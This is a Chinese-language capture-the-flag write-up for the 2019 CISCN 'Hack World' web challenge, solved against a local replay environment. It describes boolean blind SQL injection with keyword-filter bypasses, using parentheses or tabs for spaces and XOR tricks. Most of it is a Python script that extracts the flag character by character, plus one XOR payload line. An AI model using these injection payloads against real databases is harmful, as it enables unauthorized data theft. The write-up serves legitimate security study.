2019 CISCN 华北赛区 部分题解

感谢glzjin师傅提供的复现环境。

Day2

Web1 Hack World

随手测试了一下,布尔型盲注,过滤了‘ ‘,’or’,’||’,’&’,’and’,’union’,’-‘,’+’,’#’,’*’,空格可以使用‘\t’或者使用‘(‘,’)’来替代。

已经提示了字段flag在表flag中,那么构造如下payloadid=if((select(length(flag))from(flag))=32,1,2),当结果正确的时候返回id=1的结果,错误返回id=2的结果。

附上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import sys

url = "http://127.0.0.1:8302/"
result = ''

for i in range(1, 40):
payload = 'id=if((select(length(flag))from(flag))=' + str(i) + ',1,2)'
r = requests.post(url=url, data={'id': payload})
if "glzjin" in r.text:
for j in range(1, i + 1):
min = 48
max = 128
while min < max:
if (max - min == 1):
payload = 'id=if(ascii(substr((select(flag)from(flag)),' + str(j) + ',1))=' + str(mid) + ',1,2)'
r = requests.post(url=url, data={'id': payload})
if "glzjin" in r.text:
break
else:
mid = max
break
else:
mid = (max + min) // 2
payload = 'id=if(ascii(substr((select(flag)from(flag)),' + str(j) + ',1))>' + str(mid) + ',1,2)'
r = requests.post(url=url, data={'id': payload})
if "glzjin" in r.text:
min = mid
else:
max = mid
result += chr(mid)
sys.stdout.write("\r%s" % result)
sys.stdout.flush()

break

然后附上glzjin师傅的payload以作学习,使用了异或来判断正确与否,【2个1异或结果为0,0和任何数异或都为该数。

1
1^(ascii(substr((select(flag)from(flag)),1,1))>1)^1=1